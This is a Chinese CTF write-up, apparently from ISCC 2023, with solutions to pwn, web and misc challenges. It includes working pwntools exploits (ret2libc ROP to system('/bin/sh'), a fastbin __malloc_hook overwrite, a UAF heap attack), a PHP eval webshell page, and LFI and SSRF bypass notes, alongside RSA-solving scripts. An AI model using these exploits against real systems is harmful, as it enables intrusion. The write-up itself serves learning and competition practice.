pay2=flat(b'a'*(0x28),rdi,putsgot,putsplt,0x400b0f,word_size=64)
io.sendline(pay2)
io.recvuntil(b"\n")
addr=u64(io.recv(6).ljust(8,b'\x00'))
print("addr-->",hex(addr))
libcbase=addr-libc.symbols['puts']
print(hex(libcbase))
system=libcbase+libc.symbols['system']
sh=libcbase+next(libc.search(b'/bin/sh\x00'))
pay3=flat(b'a'*(0x28),ret,rdi,sh,system,word_size=64)
io.sendline(pay3)
io.sendline("cat flag.txt")
io.interactive()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('59.110.164.72', 10003)
elf = ELF('./your_character')
libc = ELF('./libc-2.23.so')
def add(size, data):
    p.sendafter(b'choice :', b'1')
    p.sendafter(b'skill : ', str(size))
    p.sendafter(b'skill:', data)
def edit_size(idx, size):
    p.sendafter(b'choice :', b'2')
    p.sendafter(b'Index :', str(idx))
    p.sendafter(b'skill : ', str(size))
def edit_data(idx, data):
    p.sendafter(b'choice :', b'3')
    p.sendafter(b'Index :', str(idx))
    p.sendafter(b'skill : ', data)
def show(idx):
    p.sendafter(b'choice :', b'4')
    p.sendafter(b'Index :', str(idx))
def free(idx):
    p.sendafter(b'choice :', b'5')
    p.sendafter(b'Index :', str(idx))   
p.sendlineafter("Your choice :",'1')
add(0x68,'aaa') #index 0
add(0x10,'aaa') #index 1
add(0x60,'aaa') #index 2
add(0x50,'aaa') #index 3
edit_data(0, b'\x00'*0x68 + p8(0xf1))
free(1)
add(0xe0, b'a'*8) #index 1
show(1)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base = addr - 0x68 - libc.sym['__malloc_hook']
# fast bin attack
malloc_hook = base + libc.sym['__malloc_hook']
one_gadget = base + 0xf1247
free(2)
edit_data(1, p64(0)*3 + p64(0x21) + p64(0xe0) + p64(0)*2 + p64(0x21) + p64(0)*3 + 
 p64(0x71) + p64(malloc_hook - 0x23))
add(0x60,'aaa') #index 2
free(3)
add(0x60, b'\x00'*0x13 + p64(one_gadget))
p.sendlineafter("Your choice :",'6')
p.sendlineafter("Your choice :",'2')
p.interactive()
print(' libc_base -> ', hex(base))
#debug()

擂台

Pwn

ezheap

image-20230512150449120

image-20230512150543212

当choice为1的时候是申请堆块

然后为2是释放堆块释放后末尾指针为0,存在UAF漏洞

为4是编辑堆块中的内容

当choice=1

image-20230512150801308

输入堆块编号,限制申请堆块数量小于0x1f也就是31个

image-20230512150922152

大小限制为0x80

image-20230512151023812

这里要使极大值满足if条件

最终溢出点在check_key函数里

先申请两个堆块 释放0号堆块,其进入unsorted bin里,但我们此时还能对其编辑

再次申请一个同大小的堆块,就会把其再拿出来利用

from pwn import *
context.log_level = "DEBUG"
io=remote("59.110.164.72",10022)
def add(index,size):
    io.sendlineafter("input your choice : ",'1')
    io.sendlineafter("input idx plz : ",str(index))
    io.sendlineafter("input size plz : ",str(size))

def edit(index,content):
    io.sendlineafter("input your choice : ",'4')
    io.sendlineafter("input idx plz : ",str(index))
    io.sendlineafter("input content plz : ",content)
def free(index):
    io.sendlineafter("input your choice : ",'2')
    io.sendlineafter("input idx plz ",'0')

add(0,0x90)
add(1,0x90)
free(0)
pay=p64(0)+p64(0x6029b8-0x10)
edit(0,pay)
add(3,0x90)
io.sendlineafter("input your choice : ",'5')
pay1=flat(b'a'*(0x10+8),0x4009aa,word_size=64)
io.sendlineafter("input your key\n",pay1)
io.interactive()

WEB

3d建模

通过抓包发现要传入一个key值且范围为[2,6]

传入key后发现是概率性触发,解码原本重定向的参数后发现imges是base64编码的,并且根据报错显示,可以知道这里存在任意文件读写

获得index.php

第一段:

???

第二段:LFI + 碰撞key值

读index.php

读取/flaaaag,得到 w#|m0p3DTB5o_V}

智力王

扫描目录得到源码,发现有hint,去访问发现提示key为4位,又参考源码中hint部分有对level传值,先尝试去爆破下密钥

!

image-20230601095742627

构造session

根据提示,行百里者半九十

赠元发弟放言 – 百度汉语
作者:黄庭坚

亏功一篑,未成丘山。凿井九阶,不次水泽。行百里者半九十,小狐汔济濡其尾。故曰时乎,时不再来。终终始始,是谓君子。

去90关,发现ssrf的入口

然后发现ssrf入口,在服务器上构造302页面,通过日志分析,ssrfprotect函数应该是有两次请求,第一次为检测,第二次才是真正请求,所以在服务器开始设置,成功绕过

最后格式化字符串

https://sec-in.com/article/336

侧信道

image-20230601095935447

蚁剑连接

第0层

访问http://47.94.14.162:10011/

 <?php
highlight_file(__FILE__);
include('waf.php');
@eval($_POST[1]);
?> 

访问http://47.94.14.162:10011/waf.php

跳转到https://www.bilibili.com/video/BV1GJ411x7h7/?VUE9SVNDQw&t=1&vd_source=a3973ee32c81b12d5f6370e78020d6a5

对url的参数进行分析,得到

VUE9SVNDQw -> UA=ISCC

更改UA,得到IScC_L3vel2.php

第一层访问http://47.94.14.162:10011/IScC_L3vel2.php

WELCOME TO 2023ISCC
your are in 2023ISCC
W0w you Find me next
IsCC_N3xT.php

第二层

访问:http://47.94.14.162:10011/IsCC_N3xT.php

注释中发现隐藏信息,构建base64绕过

http://47.94.14.162:10011/IsCC_N3xT.php?s0urc3=%26czB1cmMz

即可得到源码:

<?php
include(&apos;level2.php&apos;);
error_reporting(0);
if($_GET[&apos;s0urc3&apos;]==&apos;s0urc3&apos;){
    echo "没看见base64?";
}
if (isset($_GET[&apos;s0urc3&apos;])) {
    $s0urc3 = $_GET[&apos;s0urc3&apos;];
    if ($_GET[&apos;s0urc3&apos;] != &apos;czB1cmMz&apos;) {
        if (preg_match("/\&/",$s0urc3)){
            if (base64_decode($_GET[&apos;s0urc3&apos;]) == &apos;s0urc3&apos;) {
                highlight_file(__FILE__);
                echo "喜欢我isccIscciSccisCciscCIsCc1sCc吗";
            }
        }else{
            die(&apos;想这样绕过?门都没有!!&apos;);
        }
    }else{
        echo "s0urc3不能czB1cmMz";
        echo "<br/>你不准看源码!";
    }
}

$a = $_GET[&apos;iscc&apos;] ?: &apos;&apos;;
$b = $_GET[&apos;Iscc&apos;] ?: &apos;&apos;;
$c = $_GET[&apos;iScc&apos;] ?: &apos;&apos;;
$d = $_GET[&apos;isCc&apos;] ?: &apos;&apos;;
if (isset($_GET[&apos;iscc_iscc.lab&apos;])) {
    echo "1";
    if (file_get_contents($a) === &apos;ISCC!!!&apos;) {
        if ($b != 2023 && intval($b, 0) === 2023) {
            header("location: https://iscc.isclab.org.cn/");
        }
        if ($c != $d && sha1($c) === sha1($d)) {
            echo $level2;
        } else {
            header("location: https://iscc.isclab.org.cn/");
        }
    } else {
        header("location: https://iscc.isclab.org.cn/");
    }
}

直接构造,得到WCr3yPbt0.php

第三层

访问:http://47.94.14.162:10011/WCr3yPbt0.php

直接爆破

第四层

访问:http://47.94.14.162:10011/IScC_F1n4l.php

python直接计算

def L(u):
    return (u-1)//n

aa = L(pow(c,lam,n**2))
bb = L(pow(g,lam,n**2))
from Crypto.Util.number import *
m = (aa * inverse(bb,n)) % n
print(long_to_bytes(m).decode())

MISC

Guess_RSA

对得到的图片进行分析

image-20230530151725529

得到:381044a04c6c66078e89668fd73cb82c4f10161be4c6f3a12781698d00efba838cdb4b4373bd72ebdca49a6470e59f9fb8413a3b2ac7ac850f176c4d65ef7ab5

对公钥进行解析得到:

n = 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
e = 65537

对三个密文进行解析得到

c1 = 15675664162517005241985334850747322279876279456574700862907552681481377133185544579989247038799479171776327240780404882118904537725766312056443466295064750703372005792416973033030771437551025381553764003235556081094078622478104365189796833112914604071350200351731894133093904945300457608647456120613115797620
c2 = 140861103274216455230721845501898308648236818144495265653434927079070691530723508171403973717514275151780171294904394774518093215002953258888100585054189890096052341414700257111375220034066504715553430076834975116291241799793991901777387974579764040747570218791785702867501258811622798523769676652686058178795

c3 = 99529796079917923667416703621596340605976154418748680997166709360261843180294998507573349072387930043122958288285449187996957718834900637362680133270163491814007472682256839243994660305780477877832077377778094226956503797223980753581850455217835856249465622909655714810911375056415139213238490343537769816334

然后将图片中得到的数据当做dp,解rsa

import gmpy2
import libnum
n= 27668660498922472500375628791494457734606266818069701675622210764530734670055237365964515401136252460079836557528155494395414026102243150264467747552165980034822789855156393675633585523947284822956570940300815688428272179955519784047026721940825678372413325366810714188083971061610916723232303624073197177247909662284658083044930730214376549018326216077245460925474122752843529327818195172608058603907107055047373988772755238592672619677204274349409934926464653606936886759583857600591175832359030213993574196933146787115472217171266027680871426781808322743719797933890050511216176646057404637175233292802202378178923
e= 65537
c= 18746194505700558201384277872169794830163138500190175352733908790643996350322919203747136393360746371577741569251126631209757493122905366053702105332759045216734151732055297533840150160461690079688034702542222629348010873130730138850947050963239142274509302267700676363407236433953421106335256696478544846576588349793045380356414959853449132728689763285560503263564382959242418867269024942936994201056347852441783166626330358921915598417022455483787735380713160844507233190294671732326502779637880003264607831211012590797570894491821030009044382318547417922292596783113728409054655525526445493991152255309734338232398
dp= 84706766478932757866513811508397926260907099696053499252864417428715101182822867026156436364610113936081745297799505943107560000280649681320429156841418693968833000874958070946344585926708929977830356488942445224051910936465571136153158752923982942526321612200665183531221960334047957736135486207600440459975
p=gmpy2.gcd(pow(2,e*dp,n)-2,n)
print(p)
for i in range(1, e):
    p = (dp * e - 1) // i + 1
    if n % p == 0:
        q = n // p
        print(p)
        break
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
print(m)
flag = libnum.n2s(int(m))
print(flag)

解三次rsa得到flag

雪豹

下载得到压缩包,发现不能正常识别,用十六进制工具打开

image-20230530152529493

这里发现数据被修改为了73,将其改为74即可正常识别

image-20230530154434555

image-20230530154450903

jpg改个高得到zip密码happy_cat

解开之后是一个嵌套49183层的zip

解压脚本

import os
import zipfile
import sys
import time
sys.setrecursionlimit(1000000)#防止python栈溢出
def unzip_file(file_name) :
    with zipfile.ZipFile(file_name,'r') as zip:
        comment=zip.comment
        print(f"{file_name}:{comment}")
        zip.extractall()
        zip.close()#释放内存
    for file in zip.namelist():
        if file.endswith('.zip'):
            os.remove(file_name)
            unzip_file(file)
file_name = '49183-secret.zip'
unzip_file(file_name)

解到最后发现没有flag,提示flag在路上

image-20230530154636921

然后发现压缩包的时间不对劲,压缩包总个数可以被8整除

image-20230530154815636

时间为10:13:52、10:13:58两种

10:13:52为0,10:13:58为1生成二进制,解二进制

image-20230530155001996

得到图片

image-20230530155034831

用imagein软件解

image-20230530155059125

得到emoji

image-20230530155117915

得到flag

哦?摩斯密码?

解压发现医用有4716个文件夹,每个文件夹下三个二维码

每个二维码扫描之后都是莫斯密码,然后直接遍历扫码然后解码

image-20230530155857119

得到:

T1S0HT1T1S0FLAGT1S0SNFLAGT1S0N0T1T1N0HT1N0T1S0T1THS0HTHTHFLAGT1T1FLAGN0HTHT1T1S0THS0FLAGT1T1T1THHT1THTHS0FLAGSNFLAGTHT1N0THN0FLAGTHTHFLAGHT1N0HS0THT1THS0T1SNTHN0T1THT1S0FLAGN0N0SNTHT1FLAGTHTHSNFLAGTHTHT1THFLAGHTHS0T1SNFLAGT1THFLAGT1S0FLAGT1THFLAGT1S0HHHSNHSNHS0THT1FLAGS0T1SNS0T1THS0HHTHS0HT1HS0THSNT1SNHTHN0THT1FLAGT1HT1THTHTHFLAGSNHTHT1SNFLAGN0T1THSNT1FLAGTHT1SNHTHT1THSNFLAGSNT1SNFLAGFLAGT1N0THFLAGTHHN0T1HFLAGT1SNN0T1THSNSNSNHTHT1S0THT1FLAGT1S0T1S0T1THHT1FLAGTHT1THFLAGFLAGT1HTHFLAGSNHS0HHT1THTHFLAGT1THFLAGT1HFLAGS0SNTHSNT1T1SNS0N0T1SNSNTHSNT1T1T1T1FLAGT1N0THT1S0S0THT1T1T1FLAGT1HT1SNT1HT1T1FLAGT1T1T1THTHT1N0N0T1T1THT1SNT1S0SNS0FLAGTHTHFLAGS0HTHN0THTHN0HT1T1HHSNN0FLAGS0S0S0SNT1THTHT1T1THT1T1T1THHFLAGS0THS0SNHS0T1SNS0FLAGT1T1T1N0T1SNN0S0T1N0THTHN0HS0FLAGSNHT1HTHT1HTHFLAGSNSNN0SNHFLAGT1T1SNT1T1SNT1SNFLAGN0T1HS0THHFLAGFLAGTHT1THFLAGTHTHFLAGT1THFLAGTHTHT1HS0FLAGHN0T1FLAGS0HSNS0N0HTHN0THFLAGS0T1THT1T1THSNS0THFLAGTHHFLAGSNHT1SNT1HT1T1FLAGTHHFLAGT1THT1THT1T1SNT1T1N0T1HFLAGN0THSNTHTHHT1T1THFLAGHS0SNFLAGT1THT1T1T1FLAGTHS0N0T1T1T1HHFLAGTHN0N0HT1FLAGTHTHT1T1T1T1FLAGT1FLAGT1THN0T1T1FLAGTHN0HSNS0FLAGT1THFLAGTHT1FLAGT1SNN0T1T1S0SNT1HHSNHFLAGSNSNT1N0FLAGS0S0SNN0N0THS0S0FLAGT1T1T1N0HT1T1N0T1S0SNFLAGT1N0T1T1SNFLAGHT1T1S0N0FLAGN0SNT1THN0SNTHT1T1THSNT1THT1T1FLAGTHS0S0T1T1T1FLAGTHHS0T1SNTHFLAGT1T1HHT1S0T1THT1HSNFLAGT1N0T1T1SNFLAGTHT1FLAGSNT1N0N0SNSNTHT1S0FLAGFLAGT1T1SNSNS0HFLAGSNSNSNS0N0FLAGTHTHFLAGN0HTHHTHT1N0SNT1T1THTHTHT1FLAGSNTHT1T1T1THFLAGFLAGSNT1N0FLAGTHT1THTHS0THT1T1HHSNS0SNHFLAGS0SNFLAGT1T1THSNS0T1T1N0T1HT1FLAGTHHTHSNTHT1HT1SNFLAGFLAGSNSNN0THT1T1S0HT1S0THT1HT1SNSNSNHFLAGTHN0S0T1THSNTHT1T1S0SNFLAGTHTHS0HTHTHT1T1FLAGSNSNFLAGTHSNS0HT1HT1T1SNFLAGHS0T1T1FLAGHN0N0THT1S0HT1FLAGTHSNHT1THHSNT1FLAGN0SNHT1HT1T1THN0THS0SNS0SNFLAGSNN0FLAGTHT1T1FLAGT1T1THSNFLAGT1T1T1THT1N0T1THFLAGS0T1SNT1SNFLAGN0HTHT1HTHT1THFLAGS0HFLAGTHHHFLAGTHTHS0SNFLAGT1T1FLAGT1T1FLAGT1N0FLAGTHS0T1SNT1N0THN0THT1SNT1S0T1HT1HFLAGT1THSNHSNHFLAGFLAGSNT1T1THT1THTHN0T1HS0N0SNTHT1SNHTHT1S0SNFLAGT1SNHSNT1THTHTHTHS0S0FLAGN0THN0T1SNFLAGTHTHTHTHTHN0THSNHT1T1FLAGN0THT1N0N0T1FLAGTHT1T1S0S0SNFLAGS0N0THT1HT1FLAGN0T1THHHFLAGTHN0SNTHT1T1HTHFLAGS0T1THT1SNN0N0HT1THSNFLAGT1THT1FLAGN0T1SNT1S0THS0S0THS0T1S0THTHN0FLAGT1S0N0S0SNT1FLAGS0T1N0SNN0FLAGTHTHFLAGT1N0SNSNTHTHT1SNFLAGT1THTHN0N0HHTHSNSNT1THFLAGSNN0SNSNHSNN0FLAGTHT1SNT1N0T1SNSNS0T1SNT1THN0THHS0FLAGTHT1FLAGSNTHT1S0THFLAGTHSNSNT1T1S0S0SNFLAGN0THS0S0THT1S0THHT1S0THFLAGTHFLAGS0SNSNTHN0THHTHFLAGTHTHT1HS0HT1THFLAGTHHS0HN0FLAGT1THS0SNTHSNN0SNFLAGT1S0THT1T1HT1N0S0S0THT1THS0SNFLAGT1HS0FLAGN0T1THFLAGS0S0FLAGHTHN0THT1T1N0N0HN0SNT1SNHFLAGSNS0FLAGTHT1T1THS0THFLAGTHSNN0T1T1HTHSNT1FLAGN0THSNFLAGT1THT1T1S0T1THS0FLAGN0T1HTHTHHTHT1FLAGS0T1S0S0THS0S0T1T1THSNFLAGTHTHT1T1HN0S0HHT1SNT1HS0N0HHT1T1THSNT1N0S0FLAGFLAGT1THT1S0SNTHSNT1THFLAGS0HFLAGT1THFLAGT1HT1T1SNFLAGT1T1SNS0THHHHN0T1THTHFLAGSNT1T1FLAGSNSNT1FLAGTHTHFLAGT1HS0N0S0HT1T1FLAGTHT1SNTHSNHS0T1FLAGT1T1S0FLAGT1FLAGS0THFLAGN0T1SNTHT1SNT1S0T1T1THFLAGSNN0SNSNTHTHTHTHFLAGSNS0HN0THHT1N0S0N0THFLAGN0T1S0FLAGS0T1T1T1HT1T1FLAGSNTHFLAGTHT1SNTHS0THHS0FLAGT1HFLAGHT1THTHN0SNTHT1N0N0SNT1HSNTHTHT1FLAGT1HHS0T1T1FLAGT1FLAGTHS0T1T1HFLAGSNN0THN0N0FLAGTHHN0THS0T1T1S0FLAGS0THTHSNHFLAGS0THTHSNT1T1FLAGFLAGTHT1THTHS0THFLAGHSNHT1S0T1SNTHHT1THTHTHT1FLAGT1T1S0THN0HS0S0N0T1T1FLAGT1SNN0HN0HT1T1T1THS0FLAGTHT1N0N0THSNS0T1N0FLAGSNHTHTHT1THS0HT1T1FLAGS0HFLAGT1SNFLAGTHSNS0HTHHHT1N0T1T1HT1T1FLAGTHN0T1T1T1FLAGTHT1SNFLAGFLAGHT1S0FLAGT1S0S0THTHT1THTHFLAGTHHFLAGSNT1FLAGS0THSNN0T1T1T1HT1SNSNT1S0N0T1T1THTHFLAGTHT1S0THFLAGHTHTHS0T1T1THTHTHSNT1THHT1FLAGSNT1S0HT1SNTHSNFLAGHT1FLAGT1N0FLAGTHT1S0N0T1SNFLAGT1T1HT1S0THSNT1T1S0THSNHT1T1FLAGS0T1S0N0SNTHT1T1THFLAGT1T1FLAGS0T1SNTHT1THT1HFLAGS0THFLAGS0HTHFLAGFLAGN0THHSNT1T1S0T1THSNT1T1FLAGS0THT1N0THFLAGHT1HN0HHTHT1FLAGT1SNT1T1THT1S0SNSNN0N0N0S0THTHTHTHSNHTHHS0HT1HS0FLAGN0T1THHT1THSNTHT1SNT1T1FLAGTHFLAGT1T1THSNN0T1HHTHSNTHS0T1SNTHSNN0FLAGT1THFLAGT1T1FLAGTHN0FLAGT1THN0S0T1SNT1SNT1FLAGT1THT1T1FLAGT1T1FLAGT1S0THSNS0THHT1HSNT1THT1THT1T1THFLAGSNN0FLAGT1THFLAGN0S0T1T1THSNSNSNT1HHT1S0T1THS0THT1SNT1HFLAGN0SNT1THFLAGTHT1HS0THFLAGHT1FLAGS0HFLAGT1S0FLAGSNS0SNFLAGT1FLAGSNT1T1THTHFLAGT1THT1HHFLAGHT1FLAGTHT1FLAGT1THHS0SNSNTHTHT1FLAGN0T1SNFLAGT1THT1HN0N0T1THN0FLAGHT1FLAGTHT1THT1THFLAGT1T1SNTHT1T1T1T1THSNS0FLAGT1THS0T1THN0FLAGSNFLAGHTHT1SNTHTHT1T1FLAGSNT1FLAGT1T1THTHSNT1T1T1FLAGHHFLAGSNT1SNSNTHTHFLAGS0S0S0FLAGHSNTHT1THTHT1HN0FLAGTHT1FLAGS0N0SNS0S0T1S0T1FLAGHHTHS0T1HT1N0THT1THFLAGN0N0SNFLAGT1HT1T1FLAGS0HFLAGT1SNT1SNHN0THS0T1N0HSNHT1FLAGS0S0FLAGS0T1FLAGTHN0T1FLAGHS0T1THTHT1FLAGSNN0T1FLAGT1THFLAGSNT1FLAGT1THTHT1SNFLAGN0HS0SNT1T1SNS0T1FLAGT1T1THT1SNT1T1FLAGSNTHT1SNSNFLAGSNN0HT1THS0T1THN0SNT1FLAGTHTHT1S0SNT1T1HFLAGHN0FLAGS0T1THT1T1HHT1HT1T1T1FLAGSNSNN0THFLAGTHT1THTHTHFLAGS0T1S0T1T1N0THTHT1THTHTHT1S0HT1S0T1T1N0T1T1T1T1HHFLAGT1THT1SNS0FLAGTHN0FLAGSNS0N0FLAGFLAGT1T1HT1N0THFLAGTHT1HN0THS0N0T1HT1THSNS0S0FLAGT1T1N0SNHN0N0SNFLAGTHTHTHSNTHFLAGS0SNHHTHSNS0HS0FLAGSNS0THT1T1THSNTHTHFLAGT1THSNT1THTHFLAGTHSNTHS0S0FLAGT1T1FLAGN0HS0T1THFLAGTHN0T1T1T1THT1T1T1THTHSNN0T1T1T1SNS0SNS0N0FLAGT1T1HHS0S0T1HT1S0FLAGTHS0HS0THSNTHT1THHHTHN0THSNT1T1S0N0SNFLAGT1T1FLAGT1HS0HSNFLAGT1T1SNTHT1N0THS0T1SNS0FLAGSNSNHN0T1SNSNT1THT1THSNSNT1N0HTHT1T1THN0FLAGSNHSNT1FLAGSNSNTHN0HFLAGTHSNSNHTHFLAGTHTHFLAGT1N0FLAGSNHTHFLAGT1THS0T1T1SNSNTHTHTHS0T1N0HTHHTHT1N0THN0FLAGTHTHTHHS0S0THSNS0FLAGT1S0N0N0SNN0T1T1HN0T1S0THT1FLAGSNT1SNTHS0T1HSNT1S0S0S0THSNTHT1HFLAGTHT1T1HTHSNTHSNHTHTHT1THT1T1T1THS0THT1FLAGT1HN0FLAGT1FLAGT1T1THSNN0T1S0HFLAGSNSNTHT1N0FLAGS0THSNTHT1FLAGTHTHFLAGHS0S0SNHT1THS0S0FLAGS0FLAGT1THFLAGS0S0THT1THFLAGN0T1S0THT1HTHSNFLAGS0HHT1THFLAGHSNTHSNN0T1T1HT1FLAGTHSNSNT1HSNT1SNTHS0T1SNFLAGHT1HS0SNSNT1THT1T1N0HSNSNT1S0T1N0THT1THHHS0SNT1T1T1THT1FLAGTHS0FLAGS0THFLAGT1HN0S0T1FLAGSNT1SNFLAGFLAGS0THT1T1SNTHS0THTHT1SNTHT1SNT1S0THTHHT1THFLAGT1T1FLAGTHSNFLAGT1SNSNT1N0FLAGN0T1HTHTHT1FLAGT1N0S0HN0SNT1HN0THFLAGS0S0THT1HHTHN0S0T1T1SNS0THHS0T1FLAGT1THTHTHN0FLAGSNTHFLAGS0S0THT1N0N0SNT1FLAGSNT1THSNTHSNSNTHT1FLAGT1FLAGSNSNFLAGN0S0FLAGTHTHFLAGS0THHTHT1FLAGT1THHFLAGS0S0HFLAGTHTHTHSNHTHFLAGTHTHT1SNN0HTHT1S0S0T1FLAGS0SNSNSNHFLAGTHHFLAGS0THTHFLAGS0FLAGN0SNFLAGS0HHN0SNSNTHT1FLAGT1THTHS0T1T1SNTHFLAGTHT1S0THTHT1HT1THS0N0T1T1THTHHT1HT1T1THHTHT1SNTHFLAGHTHT1N0HN0T1HSNFLAGHFLAGS0S0SNHTHN0HT1FLAGN0HT1THHTHTHSNTHTHSNTHTHN0FLAGHSNT1SNN0THHHS0T1T1FLAGSNT1HS0THHT1THFLAGTHTHSNHTHT1SNTHT1FLAGFLAGT1T1N0FLAGTHHFLAGT1SNFLAGT1S0FLAGT1SNT1HS0HSNSNT1SNHT1THS0THTHSNTHFLAGFLAGHT1SNHT1T1T1THT1FLAGSNTHTHTHT1T1T1T1N0SNT1T1SNSNFLAGSNHFLAGTHT1S0SNHT1T1SNFLAGTHTHS0THTHT1THHN0FLAGT1HHS0SNTHSNT1HTHFLAGTHT1THTHHFLAGS0N0FLAGTHSNFLAGTHS0FLAGT1S0SNHT1HFLAGFLAGT1S0S0FLAGHT1FLAGSNTHFLAGS0SNFLAGTHHTHFLAGFLAGS0T1N0FLAGN0THFLAGN0N0THT1T1SNTHTHFLAGN0T1FLAGHS0THT1HSNTHS0SNFLAGN0FLAGTHT1FLAGT1T1HSNTHT1HT1N0THT1FLAGTHHT1SNSNSNS0S0HHTHFLAGT1HFLAGT1SNT1FLAGHFLAGTHSNN0T1T1S0T1HTHT1N0SNSNT1S0S0S0FLAGHT1FLAGN0T1FLAGSNSNHHSNT1S0SNFLAGTHN0S0FLAGFLAGHHTHN0THTHTHSNSNHTHHS0THT1FLAGT1S0FLAGT1T1N0S0THFLAGHT1THTHT1S0HN0FLAGS0THTHN0N0HFLAGFLAGN0T1THHSNS0S0T1THHN0T1T1S0HFLAGS0T1HT1THFLAGTHTHT1T1T1N0SNTHFLAGS0N0N0THSNTHTHSNHT1S0FLAGTHTHT1FLAGN0S0THFLAGSNHHT1THSNS0THN0FLAGT1T1T1T1THFLAGN0T1HTHS0FLAGT1T1SNT1N0FLAGSNN0T1T1THT1T1N0T1FLAGS0T1SNSNFLAGHHFLAGS0N0S0SNSNS0S0N0FLAGHN0N0T1THFLAGTHT1T1T1THT1SNSNFLAGHTHT1T1SNHTHTHT1SNTHTHFLAGSNT1SNSNHHFLAGSNT1SNT1THS0T1S0S0THSNHFLAGN0S0SNS0S0T1HTHFLAGHT1THN0SNFLAGHS0THHS0SNSNHFLAGTHHT1HN0T1FLAGT1HSNN0SNT1THHHT1S0N0THTHTHT1HSNTHHHS0HT1HN0SNFLAGT1THTHS0HTHT1HT1FLAGT1HHT1SNHSNTHTHN0S0T1THHSNTHT1FLAGHHFLAGN0THTHHTHSNTHS0T1HTHN0HT1SNS0N0THT1T1SNN0SNFLAGTHT1T1S0S0THFLAGN0THSNT1N0THFLAGTHTHT1FLAGHTHFLAGS0T1FLAGHHFLAGHT1THFLAGFLAGS0T1T1FLAGHSNFLAGN0T1T1THN0T1T1THFLAGT1T1THTHN0FLAGTHT1N0SNT1THSNN0THTHS0T1THS0THFLAGSNTHSNFLAGHHHSNHS0FLAGN0T1SNT1HFLAGTHTHFLAGTHSNFLAGT1S0HFLAGHTHT1FLAGS0HT1FLAGHT1T1THSNSNN0T1SNT1HFLAGHTHN0THT1S0SNSNHT1SNFLAGTHSNSNT1HT1T1THTHT1T1N0S0T1T1T1S0THS0SNFLAGT1THSNFLAGSNN0HFLAGTHN0THT1T1THHTHN0FLAGSNTHFLAGTHTHTHT1THSNSNHFLAGTHSNT1THTHFLAGT1N0THN0THSNTHSNT1S0N0N0T1T1T1FLAGN0SNT1T1FLAGT1SNT1T1SNSNSNHTHT1THFLAGSNT1HTHHFLAGHT1N0S0T1T1SNT1T1T1T1T1S0N0FLAGHT1THS0S0T1HT1N0T1SNFLAGS0T1THFLAGT1FLAGT1S0FLAGS0HSNSNTHTHHHN0S0THS0SNHFLAGSNTHHHSNTHTHT1FLAGSNTHFLAGT1T1HFLAGT1HHT1FLAGN0HS0T1T1FLAGT1SNFLAGTHT1FLAGT1T1FLAGT1SNSNT1T1T1FLAGFLAGS0THSNFLAGS0HTHS0T1T1THHS0N0HFLAGN0HTHSNT1FLAGSNN0T1THHFLAGTHSNHT1N0N0S0T1S0SNT1THTHN0T1FLAGT1FLAGTHTHTHSNSNN0SNT1HT1S0HT1T1THTHT1FLAGTHS0FLAGT1S0FLAGT1T1T1HS0SNS0SNHSNN0N0HT1FLAGTHTHN0T1T1SNN0THS0THS0N0THHT1T1T1HS0S0T1THTHTHT1THTHFLAGT1FLAGT1HFLAGHSNHT1T1T1SNT1S0T1N0T1HTHFLAGHS0T1THS0THS0S0FLAGT1T1FLAGT1THT1S0THN0FLAGFLAGT1THT1FLAGN0T1S0N0T1T1T1HT1N0THSNT1SNTHHN0T1T1S0N0T1HTHHT1S0S0SNT1T1SNS0HTHTHTHS0FLAGSNT1FLAGS0T1T1THN0HSNT1S0S0S0HT1N0FLAGTHHT1FLAGFLAGT1HHT1T1HTHN0T1S0THT1S0S0T1HT1T1T1T1T1THT1SNFLAGN0T1FLAGT1SNFLAGS0T1S0HT1THT1S0FLAGHS0T1N0HT1S0T1N0FLAGT1SNS0THHHTHSNHT1S0THT1T1THN0T1T1N0N0T1N0THTHSNFLAGHTHS0T1T1FLAGS0THHTHSNFLAGT1SNT1N0T1HS0SNT1T1N0FLAGTHS0FLAGS0S0THFLAGT1FLAGTHTHFLAGT1S0FLAGSNT1N0N0S0FLAGTHSNFLAGT1THSNFLAGFLAGTHT1T1FLAGHHTHTHN0T1T1T1SNT1SNTHT1T1THT1T1THT1SNSNHS0N0T1T1THTHS0SNHT1FLAGS0S0FLAGSNS0T1T1T1THTHT1N0SNT1N0T1THFLAGTHS0SNT1S0T1FLAGFLAGT1T1S0FLAGSNT1THT1T1FLAGSNT1SNN0HT1N0N0SNN0THFLAGS0T1THTHT1T1SNT1T1THN0THTHTHFLAGT1THN0N0THT1FLAGFLAGSNS0T1FLAGHSNTHT1SNHS0THT1HT1SNSNT1THTHTHTHHT1T1S0HS0T1T1T1SNT1HSNT1HN0HFLAGHTHT1SNT1HN0HFLAGT1T1N0HS0S0SNSNT1THHT1N0HFLAGS0HT1THTHN0HSNT1SNN0T1THTHS0THN0THT1SNT1SNS0HHT1THT1T1S0T1THS0FLAGTHTHT1THS0THTHFLAGS0HTHN0T1FLAGSNT1FLAGN0HS0T1T1FLAGTHT1FLAGTHTHSNHS0SNFLAGS0S0THSNFLAGN0THT1THTHFLAGSNS0FLAGTHHFLAGSNS0FLAGS0SNTHFLAGS0SNT1N0FLAGS0T1SNT1HS0HHFLAGTHT1FLAGN0THFLAGS0SNFLAGN0HSNT1SNT1FLAGT1T1T1SNFLAGT1SNFLAGHHFLAGT1S0FLAGHT1SNT1T1FLAGT1SNSNTHTHTHTHSNHFLAGFLAGT1S0N0FLAGSNN0N0S0THFLAGHT1T1SNS0T1T1S0FLAGHT1T1THN0S0T1THFLAGSNN0T1T1THSNFLAGN0N0THN0FLAGS0HFLAGT1SNHT1SNT1T1THSNN0S0S0THTHFLAGTHS0SNT1THSNHT1S0T1SNFLAGN0T1FLAGN0HHS0THTHSNTHTHT1N0T1FLAGHS0T1THFLAGS0THFLAGT1HT1N0SNT1S0HHN0S0HN0SNN0T1HFLAGHHFLAGT1T1FLAGT1HS0T1SNTHFLAGFLAGTHSNTHFLAGHSNTHTHT1N0THTHT1SNS0SNSNSNT1N0T1HTHT1FLAGN0SNFLAGSNT1SNTHTHFLAGTHS0T1FLAGTHSNT1SNT1HSNFLAGHTHFLAGT1T1FLAGTHT1S0THT1FLAGHTHT1SNS0FLAGN0HTHT1SNTHHS0S0THS